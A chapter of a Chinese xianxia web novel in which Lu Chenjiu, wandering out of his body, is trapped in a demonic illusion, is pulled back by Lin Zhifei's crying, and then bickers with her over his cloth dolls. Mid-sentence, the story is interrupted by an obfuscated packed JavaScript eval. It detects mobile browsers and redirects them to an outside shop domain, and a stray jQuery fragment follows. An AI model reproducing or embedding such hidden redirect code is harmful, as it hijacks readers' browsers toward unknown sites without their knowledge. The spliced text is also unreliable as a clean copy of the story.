魂魄出,陆沉久顿感身体轻飘,神识如脱离压制,几分清明,隐隐中有带着几分虚浮。
他恍惚几秒,方回忆起自己施展离魂术的目的。
抬眼看去,天色灰沉暗淡。阵阵拉长尾音的虫鸣鸟啼闯入他耳中,声音重叠交织,回音绵长,叫人意识飘忽。
陆沉久默念一遍净心诀,随后再度召出蝶魂,让它自由飞离。
蝶魂感受到身体的束缚消失,便振翅挥舞,扑了十几下翅膀后,贴上它熟悉的树干上。
陆沉久跟了上去,站在那棵树前方,目光落在树的四周。
魂魄视角看去,世界灰暗昏沉,难以看清。但这对修炼者来说算不得难处。他迅速就将视线落在蝶魂附近的一片绿叶上。
深绿的叶片与黑暗几乎要融为一体,陆沉久定睛,果然在上面看到了一缕浅白的魂息。
魂魄离体会使魂魄受损,折损的部分就叫做魂息。
魂息不能再重归魂魄,只等此人命绝,魂息才会彻底消散。
陆沉久施法,将这缕魂息归置于衣袖中。然后他绕林子转了两圈,确认没再有其他魂息后,施法准备离开。
他回到原地,阖眸念咒。口中刚念了两个字,他的心脏骤然收缩,紧接着是无尽的空虚感悬浮上来,充斥他着全身。
通身的力量被抽走似得。
怎么回事?!
陆沉久强忍不适,垂眸看去。
只见浪潮般的墨色魔气从他心口处倒灌而出,沿着他的身子向下沉,翻涌滚动,尽数移动到他身前不远处。
这些魔气层层堆积起来,直至与他同高。
魔气浩浩荡荡,蕴含的力量不容小觑。
一种莫名的厌恶从陆沉久心底弥漫开来,他本能排斥,清净的心生出滚滚躁意。
还未等他去细思这究竟是为何,忽然一段清亮女声在她识海回荡。
这是林雉飞的声音。
明朗跳入他耳中的字眼,拼凑在一起就是净心诀。
混乱的意识稍有清醒,眼前的黑气似乎也受了净心诀的影响,身体歪七扭八,像一副泼墨画。
明知这会儿是绝佳的逃离机会,但陆沉久却迟迟未施法,木头人一样镇定看着眼前的魔气。
他有预感,这东西和自己有关,甚至关系还不小,令他想要一探究竟。
这是魂魄离体的一大负面影响,对危险极具向往。
净心诀属于简单的咒法,在这种场合顶多做到维持本心,让听者冷静下来。
可陆沉久的本心是一心求死,求生欲极低。
否则他也不会屡屡不顾安危,孤生闯入魔域,不要命似得与魔族拼杀。
随着净心诀到了结尾,林雉飞的声音消失,那股魔气重新凝聚成了完整的人形。
魔气抬手就朝陆沉久扑来,手掌穿过他的胸膛,欲将其心脏掏出来。
陆沉久脚步抬起,做出撤步的动作,但当那只手触及他胸膛时,刚涌现的杀意霎时间毫无预兆地消失了。
他思绪飘远,眼前的画面竟回到了度雷劫那日。
漆黑的天闪过一束束白光,紫电紧随其后,如游龙乍现。
陆沉久垂眸看去,就见自己衣着不知何时变化了。
他回到当初在辐毂三十宫的模样。
一身冰蓝长袍,半数乌发笼在一顶蓝玉银冠中,长身伫立于山巅之上,夹雪寒风袭来,撩起他垂落肩头的散发。
紫电迅速向他劈来,然而记忆中的痛楚并未如期而至,雷电带来的是道道声音。
他还记得那些声音主人的面容,是辐毂三十宫中的四位长老们。
他们或焦灼,或冷漠,也有细微的担忧。
“诸位,雷劫过后,陆师侄修为大损,不如叫他换处地待着吧。”
“唉,真是可惜啊,连陆师侄都度不过雷劫……”
“自从师弟殒命,陆师侄的修为总有些怪异,度不过雷劫或许是冥冥中注定?”
“以后没了陆师侄,对付起魔族来,怕是要费劲许多。”
四道声音凌乱交织,你盖我,我遮你,叫陆沉久都难以分辨谁是谁。
但他们所说的话陆沉久却听得真真切切。
他眼眸黯淡下来,头顶的声音还未停歇,继续在说着。他手中掐着诀,方才寻到的那缕魂息从他袖中飞出。
陆沉久清楚知道,自己如今是在那魔气制造的幻象里,但魂魄状态的他逃脱的概率太低了。
现下只能做最坏的打算。
这缕魂息外倾注了他仅剩不多的法力。待他魂飞魄散,魂息便会回到现实,交到林雉飞手中。
可惜未能替她求到梧桐叶,甚至还没带她去梧桐树……
雷电化作团团黑气向陆沉久袭来,他闭上双眸,等待死亡的到来。
脖颈先被魔气缠上,绕得一圈比一圈紧,呼吸变得迟缓,脑中的意识渐渐模糊。
然而,比死亡先到来的是林雉飞撕心裂肺地哭喊。
穿透过云层,击穿魔气,笔直砸入他耳中。
“陆兄!!陆兄你不能有事啊!你出事了我可怎么办哇!!!”
“陆兄呐!!!别忘了你还有两个小娃娃呢!你等着陆兄,我马上来救你!”
“……”
陆沉久眉头轻皱,睁开了双眼,无奈地叹了声气。
暂时不能死了。
否则坟前得多吵嚷啊,还是等此事了结后,回到清歌城再说吧。
凌厉的白光骤然破开魔气,陆沉久眼前景象旋即变化,恢复成了五湖春内的景色。而那团人形的魔气,此刻不知所踪。
陆沉久似有感应,低头看向左手手腕,那里赫然出现一个黑色印记——蛇身缠绕一朵并蒂莲,右边的莲花弯折,蛇头压在左边的莲花上,朝着右边莲花张口,露出两颗尖锐的毒牙。
饶是傻子都能瞧出,这不是好兆头。
“陆兄啊!!!”
林雉飞哀嚎声再度传来。
不知这印记是仅出现在他魂体,还是连身体都要霸占……
以防万一,陆沉久拉下袖子,完全盖住手腕。
确认不会暴露后,他终于施法让魂魄归体。
待陆沉久双眸再度睁开,林雉飞那双泪盈盈的桃花眼立刻映入他的眼帘。
他目光细细描过林雉飞弯垂的眼尾,泛红的眼眶,咬到快出血的下唇,以及还保持掐诀动作的手。
瞧见他的那一刻,她立刻放下手,大呼:“陆兄你终于回来了!我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697609|207377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还以为你也和爹爹一样,要离我远去了。”
颤抖又带着些沙哑的哭腔响彻整片林子。
看到林雉飞的模样,陆沉久心底涌出说不清道不明的悸动,心脏跳动飞快的同时,又夹杂几分抽痛。
陆沉久刚刚在幻觉里还想吐槽的话全数压了回去,嗓音轻柔温润:“林道友,你看我这不是没事,别再哭了,哭多了对眼睛不好。”
林雉飞很想停下来,奈何她是个泪失禁体质,一旦情绪激动就会忍不住大哭。最关键是,这种状态一时半会儿还很难停下来。
她现在不想哭了,可是控制不住身体,泪水一个劲往外淌。
陆沉久见状,连忙从回忆里调取有用的哄人方法。只是他没料到,自己活了近一百七十年,竟只知修炼和杀魔族。
哄人方法?完全找不到。
林雉飞这会儿稍微缓过来了,怕陆沉久看扁她,着急忙慌解释:“没事,我,我只是生来如此,陆兄你,你别管了。”
她一边说一边抬手扇着眼睛,企图把泪水扇回去。
陆沉久从未听说这种“病”,生来就爱落泪?
他猜测林雉飞是在挽尊,便也没戳破,但脑袋里还在想着如何安抚她。
忽然,他眸光一闪,召唤出那两个布偶。
黑发娃娃正欲和主人玩耍,就被林雉飞细微的哭声吸引。看到她此刻的模样,好奇地揪了下伙伴的耳朵,拉着布老虎一起研究起来。
发觉两小家伙看戏的视线,林雉飞怒吼:“看什么看!”
陆沉久抬手就往黑发娃娃头上打了一下。
他是叫他们来帮忙的,不是让他们来捣乱的。
黑发娃娃吃痛地捂着脑袋,扭头看向自家主人,两个豆豆眼都变大了几分,充斥着不可置信。
陆沉久不理会,给它甩了个凌厉的眼神,示意他去安慰林雉飞。
接收到信号的黑发娃娃嘴巴成了0,食指指了指自己,又暗暗往林雉飞那儿飞。
他在埋怨主人,自己当初都被林雉飞那么对待了,主人居然还叫他去安慰林雉飞,天理呢!
显然天理不站他。
小家伙无奈,只能拉着好朋友布老虎一同飞到林雉飞面前。
他的小手紧紧攥成拳,小表情格外难看。
恰好此时林雉飞投来目光,一人一布偶就这么对视上。
黑发娃娃看到林雉飞下巴还挂着泪珠,欲滴不滴的样子,当下没绷住表情,捂着嘴笑了出来。
“喂!你这小玩偶怎么这讨厌啊!”林雉飞指着黑发娃娃怒道。
她这会儿正脆弱着呢,哪儿受得了这般嘲笑。
小家伙瞧见那根怼到自己眼前的手指,当下也气了,张开绵软的大嘴,扑上去狠狠咬住。
它是棉花做的,咬上来别说疼了,可以说一点感觉都没有。
反而软乎乎,挺好揉的。
但林雉飞才不管这些,小家伙的行为就是在挑衅她啊!
她怒火燃烧起来,代替了方才的无尽泪水,没被咬住的手一把抓住娃娃的身体。
“你个臭娃娃,也不掂量掂量自己几斤几两,竟敢来惹我!”
陆沉久:“……”
这个过程是怎么出错的呢?